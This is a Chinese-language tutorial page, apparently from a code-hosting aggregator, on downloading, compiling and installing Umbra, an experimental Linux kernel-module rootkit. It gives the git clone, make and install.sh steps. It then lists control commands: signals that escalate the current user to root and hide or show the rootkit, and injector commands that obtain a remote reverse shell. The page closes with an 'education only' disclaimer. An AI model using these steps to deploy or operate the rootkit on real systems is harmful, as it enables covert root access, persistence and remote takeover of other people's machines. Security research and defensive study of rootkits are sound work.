Umbra 项目下载及安装教程
2024-12-06 08:41:08作者:毕习沙Eudora
1. 项目介绍
Umbra 是一个针对 Linux 内核版本 4.x 和 5.x 的实验性远程可控 LKM(Linux 内核模块)rootkit。该 rootkit 开辟了一个网络后门,可以远程生成反向 shell,远程启动恶意软件等。请注意,该项目仅用于教育目的,不适合在生产环境中使用。
2. 项目下载位置
该项目托管在 GitHub 上,可以从以下位置下载:
https://github.com/h3xduck/Umbra.git
3. 项目安装环境配置
在安装 Umbra 之前,需要确保您的系统环境满足以下要求:
- Linux 内核版本 4.x 或 5.x
- 对应的内核头文件
以下是环境配置的步骤及示例图片:
# 安装内核头文件
sudo apt install linux-headers-$(uname -r)
# 配置 include 路径
# (此处为示例,实际路径可能有所不同)

4. 项目安装方式
以下是 Umbra 的安装步骤:
- 克隆项目:
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
- 编译项目:
make
- 加载 Umbra 到内核:
sudo ./install.sh
安装脚本将自动加载 Umbra 到内核并配置一个特殊目录来存储恶意软件模块。
5. 项目处理脚本
以下是 Umbra 的一些基本使用方法:
本地控制
- 提升当前用户权限至 root:
kill -50 1
- 在加载模块时启动反向 netcat shell:
# 默认配置为 127.0.0.1:5888
- 隐藏/显示 rootkit:
kill -52 1 # 隐藏
kill -53 1 # 显示
远程控制
- 使用 Umbra Injector 获取反向 shell:
./injector -S 127.0.0.1
- 远程隐藏/显示 rootkit:
./injector -i 127.0.0.1 # 隐藏
./injector -u 127.0.0.1 # 显示
请注意,这些操作需要相应的网络配置和权限。
以上就是 Umbra 项目的下载及安装教程。请在使用时务必遵守相关法律法规,仅将此项目用于学习和研究目的。
登录后查看全文
热门项目推荐
GLM-5智谱 AI 正式发布 GLM-5,旨在应对复杂系统工程和长时域智能体任务。Jinja00
GLM-5-w4a8GLM-5-w4a8基于混合专家架构,专为复杂系统工程与长周期智能体任务设计。支持单/多节点部署,适配Atlas 800T A3,采用w4a8量化技术,结合vLLM推理优化,高效平衡性能与精度,助力智能应用开发Jinja00
jiuwenclawJiuwenClaw 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。Python0205- QQwen3.5-397B-A17BQwen3.5 实现了重大飞跃,整合了多模态学习、架构效率、强化学习规模以及全球可访问性等方面的突破性进展,旨在为开发者和企业赋予前所未有的能力与效率。Jinja00
AtomGit城市坐标计划AtomGit 城市坐标计划开启!让开源有坐标,让城市有星火。致力于与城市合伙人共同构建并长期运营一个健康、活跃的本地开发者生态。01
MarkFlowy一款 AI Markdown 编辑器TSX01
项目优选
收起
deepin linux kernel
C
27
12
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
610
4.06 K
Ascend Extension for PyTorch
Python
452
537
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
924
778
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
374
254
🔥LeetCode solutions in any programming language | 多种编程语言实现 LeetCode、《剑指 Offer(第 2 版)》、《程序员面试金典(第 6 版)》题解
Java
69
21
暂无简介
Dart
857
205
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.47 K
832
React Native鸿蒙化仓库
JavaScript
322
377
AscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优
C++
114
177